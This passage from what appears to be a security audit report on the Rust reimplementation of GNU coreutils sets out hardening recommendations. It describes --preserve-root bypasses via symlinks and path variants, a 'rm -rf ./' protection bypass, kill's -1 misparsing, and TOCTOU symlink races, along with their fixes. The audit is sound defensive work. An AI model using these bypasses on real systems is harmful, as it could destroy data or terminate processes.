The uutils/coreutils implementation features strong engineering choices with a basic fuzzing setup and test cases and mitigates many memory safety issues with Rust. However, the overall security maturity is still limited by the functional correctness and GNU alignment. The identified

divergences introduce additional risk that needs to be addressed to ensure the reliability and security of the codebase.

4.4. Design complexity and maintainability

Reimplementing GNU coreutils (historically written in C and deeply shaped by POSIX and libc behavior) in Rust can introduce a semantic translation challenge. Many behaviors that are implicit in the GNU C ecosystem — locale rules, byte-oriented text processing, file-system edge cases, and syscall conventions — may not map 1:1 onto Rust's standard library abstractions or the behavior of third-party crates. Even when a Rust crate provides a function that looks like the right building block, its defaults and corner-case semantics may differ from GNU's, and some GNU-specific behaviors may not be exposed as configurable options. As a result, maintainers may face a trade-off between using higher-level, safe, and portable abstractions versus implementing lower-level logic to more precisely match GNU behavior. This compatibility gap can increase design complexity, expand the testing surface, and raise the long-term risk of subtle divergence and regressions.

Community-driven development can also introduce maintainability considerations worth noting. Volunteer capacity tends to be uneven over time, ownership is often distributed, and review depth may vary depending on who is available. When contributions come from many independent authors, implementation style and implicit assumptions may diverge, and reviewers may focus more on local correctness than on systematically validating completeness (i.e., whether all required edge cases and compatibility behaviors are covered). This dynamic may leave gaps in validation and could make it easier for missing behaviors to go unnoticed until users, downstream packagers, or compatibility test suites surface them. In practice, such factors may increase the likelihood of partial fixes, inconsistent semantics, and accumulated triage and technical debt, which could plausibly contribute to a higher observed rate of compatibility bugs over time.

4.5. Security-hardening recommendations

Based on the issues identified in this audit, we propose the following security hardening recommendations, organized into short-term tactical fixes and long-term structural improvements.

In the short-term, priority should be given to fixing critical security bypass vulnerabilities that could cause system-level damage. The `--preserve-root` protection in `rm` and `chmod` can be bypassed via symlinks or path variants (e.g., `/../`); this should be fixed by using device/inode comparison instead of simple path string matching, and `rm --no-preserve-root` abbreviations should be explicitly rejected. The `kill` command's argument parsing error interprets `-1` as a PID rather than a signal number, potentially sending SIGTERM to all processes and causing widespread process termination or system instability; the parsing logic should be fixed to correctly distinguish signals from negative PIDs. Variants like `rm -rf ./` with trailing slashes can bypass dot directory protection and silently delete current directory contents; paths should be normalized before security checks. Additionally, the error-code accumulation issues in recursive `chmod` / `chown` / `chgrp` operations and the error-code loss in `cp` should be fixed to ensure nonzero exit codes accurately reflect operation failures.

The audit identified multiple tools with TOCTOU race conditions, where attackers can replace symlinks between check and operation to achieve arbitrary file overwrites or sensitive information disclosure. Each file-creation command requires targeted fixes:

- `install` can use `O_EXCL` for exclusive creation.
- `mkdir` should use `umask=0 + mkdir(final mode)` to avoid permission windows.
- `mkfifo`'s issue lies in the subsequent chmod path race, which should be fixed with fd-based permission setting or by skipping the redundant chmod.
- `touch` should avoid `O_TRUNC` and use `openat + O_NOFOLLOW` rather than requiring the file not to exist.

Permission setting should uniformly use fd-based (`fchmod` / `fchown`) instead of path-based versions, and directory traversal operations should use fd-relative syscalls (e.g., `openat`, `fstatat`, `unlinkat`). Moreover, `cp` needs to avoid the 0644-then-0600 permission window and use `O_NOFOLLOW` when reading source files, with fd passing throughout the copy flow to reduce race risk; recursive copy should preserve device node semantics and avoid reading device nodes as regular files. For permission semantics, `cp -p` should proactively clear setuid/setgid bits when `chown` fails to prevent creating unexpected privileged executables, and cross–file-system `mv` operations falling back to copy-delete mode should preserve original file ownership via `chown`.

For stability, high-risk `unwrap()` calls should be replaced, especially in code paths like `id`, `tail`, and `printf` where user input can trigger panics, changing them to explicit error handling with proper messages. Edge cases such as integer overflow and format string parsing should return error messages rather than crashing. Error-handling logic in recursive operations should correctly accumulate all errors rather than only reflecting the last file's status, avoiding a false success when failures actually occurred.

For the long-term, we recommend adopting the official GNU coreutils test suite, focusing on symlink handling, special file types, locale behavior, and exit-code semantics. For locale support, `sort` / `join` should implement `LC_COLLATE` support, while `wc` / `uniq` should correctly handle `LC_CTYPE` to distinguish byte and character counting. Security coding guidelines should be established for path handling and fd-relative syscalls such as `openat` / `fstatat`, and a threat model checklist should be maintained for high-risk scenarios like root scripts and system services.

5. Assessment Results

During our assessment on the scoped uutils coreutils targets, we discovered 73 findings. Seven critical issues were found. Eleven were of high impact, 29 were of medium impact, and 26 were of low impact.

5.1. Disclaimer

This assessment does not provide any warranties about finding all possible issues within its scope; in other words, the evaluation results do not guarantee the absence of any subsequent issues. Zellic, of course, also cannot make guarantees about any code added to the project after the version reviewed during our assessment. Furthermore, because a single assessment can never be considered comprehensive, we always recommend multiple independent assessments paired with a bug bounty program.

For each finding, Zellic provides a recommended solution. All code samples in these recommendations are intended to convey how an issue may be resolved (i.e., the idea), but they may not be tested or functional code. These recommendations are not exhaustive, and we encourage our partners to consider them as a starting point for further discussion. We are happy to provide additional guidance and advice as needed.

Finally, the contents of this assessment report are for informational purposes only; do not construe any information in this report as legal, tax, investment, or financial advice. Nothing contained in this report constitutes a solicitation or endorsement of a project by Zellic.